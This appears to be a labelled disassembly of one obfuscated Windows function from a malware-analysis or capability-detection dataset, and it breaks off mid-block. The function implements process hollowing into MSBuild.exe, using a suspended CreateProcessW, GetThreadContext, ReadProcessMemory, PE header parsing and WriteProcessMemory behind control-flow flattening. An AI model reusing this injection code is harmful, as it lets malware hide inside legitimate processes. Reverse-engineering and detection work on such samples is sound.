Function at 0x10002280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x10034600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0x78e25ff4
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x82261002
je 0x10004485
jmp 0x100022bc
mov eax, dword [ebp - 0x180]
sub eax, 0x876cc985
je 0x10005269
jmp 0x100022d2
mov eax, dword [ebp - 0x180]
sub eax, 0x88ab7384
je 0x10003fac
jmp 0x100022e8
mov eax, dword [ebp - 0x180]
sub eax, 0x8aa08130
je 0x10004633
jmp 0x100022fe
mov eax, dword [ebp - 0x180]
sub eax, 0x8ab3d255
je 0x10004abb
jmp 0x10002314
mov eax, dword [ebp - 0x180]
sub eax, 0x8db6e083
je 0x100039e9
jmp 0x1000232a
mov eax, dword [ebp - 0x180]
sub eax, 0x91a26881
je 0x100050f1
jmp 0x10002340
mov eax, dword [ebp - 0x180]
sub eax, 0x9362dec0
je 0x10004cc4
jmp 0x10002356
mov eax, dword [ebp - 0x180]
sub eax, 0x946b5608
je 0x100051f5
jmp 0x1000236c
mov eax, dword [ebp - 0x180]
sub eax, 0x954a49be
je 0x10004aca
jmp 0x10002382
mov eax, dword [ebp - 0x180]
sub eax, 0x9fb865ab
je 0x10004177
jmp 0x10002398
mov eax, dword [ebp - 0x180]
sub eax, 0x9fcecd9e
je 0x10003520
jmp 0x100023ae
mov eax, dword [ebp - 0x180]
sub eax, 0x9fef2ac0
je 0x10003440
jmp 0x100023c4
mov eax, dword [ebp - 0x180]
sub eax, 0xa04fe954
je 0x100048b4
jmp 0x100023da
mov eax, dword [ebp - 0x180]
sub eax, 0xa1f32e8b
je 0x10003142
jmp 0x100023f0
mov eax, dword [ebp - 0x180]
sub eax, 0xa4dfd9b0
je 0x10004612
jmp 0x10002406
mov eax, dword [ebp - 0x180]
sub eax, 0xadc836da
je 0x10003e55
jmp 0x1000241c
mov eax, dword [ebp - 0x180]
sub eax, 0xae935300
je 0x100043e3
jmp 0x10002432
mov eax, dword [ebp - 0x180]
sub eax, 0xafa76ec7
je 0x10004b38
jmp 0x10002448
mov eax, dword [ebp - 0x180]
sub eax, 0xb1f582cb
je 0x10004fc4
jmp 0x1000245e
mov eax, dword [ebp - 0x180]
sub eax, 0xb97ed840
je 0x10003788
jmp 0x10002474
mov eax, dword [ebp - 0x180]
sub eax, 0xb99b839e
je 0x10003daa
jmp 0x1000248a
mov eax, dword [ebp - 0x180]
sub eax, 0xba7b00c2
je 0x10004242
jmp 0x100024a0
mov eax, dword [ebp - 0x180]
sub eax, 0xbbb48f10
je 0x10004a50
jmp 0x100024b6
mov eax, dword [ebp - 0x180]
sub eax, 0xbdf71cf9
je 0x10003ea2
jmp 0x100024cc
mov eax, dword [ebp - 0x180]
sub eax, 0xbe98c308
je 0x10003db9
jmp 0x100024e2
mov eax, dword [ebp - 0x180]
sub eax, 0xbece0cda
je 0x10003348
jmp 0x100024f8
mov eax, dword [ebp - 0x180]
sub eax, 0xc0259447
je 0x10003c82
jmp 0x1000250e
mov eax, dword [ebp - 0x180]
sub eax, 0xc215b272
je 0x10003c61
jmp 0x10002524
mov eax, dword [ebp - 0x180]
sub eax, 0xc2db9cf7
je 0x10003e87
jmp 0x1000253a
mov eax, dword [ebp - 0x180]
sub eax, 0xc35f75e1
je 0x100052b4
jmp 0x10002550
mov eax, dword [ebp - 0x180]
sub eax, 0xc50ff5d5
je 0x100038d7
jmp 0x10002566
mov eax, dword [ebp - 0x180]
sub eax, 0xc553c345
je 0x10003357
jmp 0x1000257c
mov eax, dword [ebp - 0x180]
sub eax, 0xc725e45f
je 0x10003f9d
jmp 0x10002592
mov eax, dword [ebp - 0x180]
sub eax, 0xc750ea30
je 0x100032f7
jmp 0x100025a8
mov eax, dword [ebp - 0x180]
sub eax, 0xc887de16
je 0x10004102
jmp 0x100025be
mov eax, dword [ebp - 0x180]
sub eax, 0xcb0c5784
je 0x100049c4
jmp 0x100025d4
mov eax, dword [ebp - 0x180]
sub eax, 0xcbfa0117
je 0x10003b2e
jmp 0x100025ea
mov eax, dword [ebp - 0x180]
sub eax, 0xcc2ce53e
je 0x10002f5c
jmp 0x10002600
mov eax, dword [ebp - 0x180]
sub eax, 0xcd988b3a
je 0x100033ce
jmp 0x10002616
mov eax, dword [ebp - 0x180]
sub eax, 0xcf1d04a6
je 0x10003ff5
jmp 0x1000262c
mov eax, dword [ebp - 0x180]
sub eax, 0xcf9beeae
je 0x1000481f
jmp 0x10002642
mov eax, dword [ebp - 0x180]
sub eax, 0xcfd4beae
je 0x100042c7
jmp 0x10002658
mov eax, dword [ebp - 0x180]
sub eax, 0xd1a02c3d
je 0x10005442
jmp 0x1000266e
mov eax, dword [ebp - 0x180]
sub eax, 0xd38af36e
je 0x100049d3
jmp 0x10002684
mov eax, dword [ebp - 0x180]
sub eax, 0xd4aa4245
je 0x100048a5
jmp 0x1000269a
mov eax, dword [ebp - 0x180]
sub eax, 0xd4ff32c2
je 0x100033ef
jmp 0x100026b0
mov eax, dword [ebp - 0x180]
sub eax, 0xd5f9e965
je 0x10005278
jmp 0x100026c6
mov eax, dword [ebp - 0x180]
sub eax, 0xd66f07d4
je 0x100047b1
jmp 0x100026dc
mov eax, dword [ebp - 0x180]
sub eax, 0xd9851f3c
je 0x100051b2
jmp 0x100026f2
mov eax, dword [ebp - 0x180]
sub eax, 0xda72387a
je 0x100032ae
jmp 0x10002708
mov eax, dword [ebp - 0x180]
sub eax, 0xdab57187
je 0x1000515b
jmp 0x1000271e
mov eax, dword [ebp - 0x180]
sub eax, 0xdbf4cd3c
je 0x10003e78
jmp 0x10002734
mov eax, dword [ebp - 0x180]
sub eax, 0xdcb00901
je 0x100031d8
jmp 0x1000274a
mov eax, dword [ebp - 0x180]
sub eax, 0xde89ab35
je 0x10003511
jmp 0x10002760
mov eax, dword [ebp - 0x180]
sub eax, 0xe4a4b0db
je 0x10003ecc
jmp 0x10002776
mov eax, dword [ebp - 0x180]
sub eax, 0xe8281509
je 0x10005063
jmp 0x1000278c
mov eax, dword [ebp - 0x180]
sub eax, 0xe94b80f4
je 0x10004cb5
jmp 0x100027a2
mov eax, dword [ebp - 0x180]
sub eax, 0xea1e3f9b
je 0x10004251
jmp 0x100027b8
mov eax, dword [ebp - 0x180]
sub eax, 0xeb871846
je 0x100049e2
jmp 0x100027ce
mov eax, dword [ebp - 0x180]
sub eax, 0xec909480
je 0x10002fbe
jmp 0x100027e4
mov eax, dword [ebp - 0x180]
sub eax, 0xed261e40
je 0x10004372
jmp 0x100027fa
mov eax, dword [ebp - 0x180]
sub eax, 0xed41fcf0
je 0x10004eb2
jmp 0x10002810
mov eax, dword [ebp - 0x180]
sub eax, 0xed9adda1
je 0x1000358a
jmp 0x10002826
mov eax, dword [ebp - 0x180]
sub eax, 0xf00fd165
je 0x100046a1
mov eax, dword [ebp - 0x128]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x110]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x10c], al
mov dword [ebp - 0x17c], 0x2c847226
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b426c35
mov ecx, 0x58b11615
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov al, byte [ebp - 0x10b]
and al, 1
mov byte [ebp - 0x131], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x138], eax
mov al, byte [ebp - 0x131]
and al, 1
mov byte [ebp - 0x10a], al
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6df8ccc1
mov ecx, 0xdcb00901
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dl, byte [ebp - 0x10a]
mov eax, 0x4edc3a63
mov ecx, 0xc553c345
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3622ad89
mov ecx, 0xc750ea30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0x1eccf5af
sub edx, 1
sub edx, 0x1eccf5af
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3622ad89
mov ecx, 0xbece0cda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xc553c345
jmp 0x1000545b
mov edx, dword [ebp - 0x138]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x109], al
mov dword [ebp - 0x17c], 0xcd988b3a
jmp 0x1000545b
mov dl, byte [ebp - 0x109]
mov eax, 0xf0421219
mov ecx, 0xd4ff32c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0x81d30f7f
sub edx, 1
add edx, 0x81d30f7f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2e44ef98
mov ecx, 0x9fef2ac0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0x6ffc2e55
sub edx, 1
sub edx, 0x6ffc2e55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2e44ef98
mov ecx, 0xde89ab35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x9fcecd9e
jmp 0x1000545b
mov edx, dword [ebp - 0x108]
mov eax, 0xed41fcf0
mov ecx, 0x1d42c499
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001d40
add esp, 4
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x130]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0x9b45bdb7
sub edx, 1
sub edx, 0x9b45bdb7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x91a26881
mov ecx, 0x104a529e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dl, byte [ebp - 0xfd]
mov eax, 0xc50ff5d5
mov ecx, 0x13a0afbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd9851f3c
mov ecx, 0x640261df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x4ce1917d
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x946b5608
mov ecx, 0x19e077be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dl, byte [ebp - 0xcd]
mov eax, 0xdbf4cd3c
mov ecx, 0xc0259447
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0x9889dd33
sub edx, 1
sub edx, 0x9889dd33
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x876cc985
mov ecx, 0x7b3e46a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xbe98c308
jmp 0x1000545b
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov esi, dword [ebp - 0xc8]
sub esi, 0xc2cf50c2
add esi, eax
add esi, 0xc2cf50c2
mov edx, dword [ebp - 0xcc]
mov eax, 0xdbf4cd3c
mov ecx, 0x621aac04
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xb8]
add eax, ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x17c], 0xdbf4cd3c
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xc2db9cf7
jmp 0x1000545b
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x17c], 0xbdf71cf9
jmp 0x1000545b
mov eax, dword [ebp - 0xb4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x17c], 0xf60d0041
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0xb4a78b5a
sub edx, 1
sub edx, 0xb4a78b5a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd5f9e965
mov ecx, 0x46f72f73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x88ab7384
jmp 0x1000545b
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79a1f286
mov ecx, 0xcf1d04a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0xc8c51508
sub edx, 1
add edx, 0xc8c51508
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x79a1f286
mov ecx, 0x7b719d84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xa8], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0x4993739c
sub edx, 1
add edx, 0x4993739c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7dfc743c
mov ecx, 0x6dab9d82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0xa8]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xac]
mov eax, 0x4741d735
mov ecx, 0x44b4b90b
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xea1e3f9b
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0xb38bdcb9
sub edx, 1
add edx, 0xb38bdcb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc35f75e1
mov ecx, 0xcfd4beae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0x16c]
add eax, 4
mov dword [ebp - 0xa4], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0xeb166f6a
sub edx, 1
sub edx, 0xeb166f6a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc35f75e1
mov ecx, 0x2b0edb07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0xa0]
add eax, 0xacaadd4e
add eax, 8
sub eax, 0xacaadd4e
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x34]
sub ecx, 0x448600d6
sub ecx, eax
add ecx, 0x448600d6
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov dword [ebp - 0x17c], 0xae935300
jmp 0x1000545b
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x17c], 0x6c56a36d
jmp 0x1000545b
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0x41ca9c6d
sub edx, 1
add edx, 0x41ca9c6d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e13e12d
mov ecx, 0x35a114a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dl, byte [ebp - 0x8a]
mov eax, 0xd38af36e
mov ecx, 0x8aa08130
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x30a597c0
mov ecx, 0xf00fd165
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf686f40
mov ecx, 0xcf9beeae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
sub ecx, 0x2e27b2e4
add ecx, eax
add ecx, 0x2e27b2e4
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x84], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf686f40
mov ecx, 0xd4aa4245
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xa04fe954
jmp 0x1000545b
mov eax, dword [ebp - 0x84]
mov edx, dword [eax]
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x88]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x17c], 0x76db3f7f
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xd38af36e
jmp 0x1000545b
mov dword [ebp - 0x17c], 0xeb871846
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10a2398a
mov ecx, 0xbbb48f10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x80], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0x7b4e8430
sub edx, 1
sub edx, 0x7b4e8430
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x10a2398a
mov ecx, 0x8ab3d255
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x954a49be
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62b13f4
mov ecx, 0xafa76ec7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0xa8f51c04
sub edx, 1
add edx, 0xa8f51c04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62b13f4
mov ecx, 0x3bd41045
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000545b
mov dword [ebp - 0x17c], 0x9362dec0
jmp 0x1000545b
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7c8d0a46
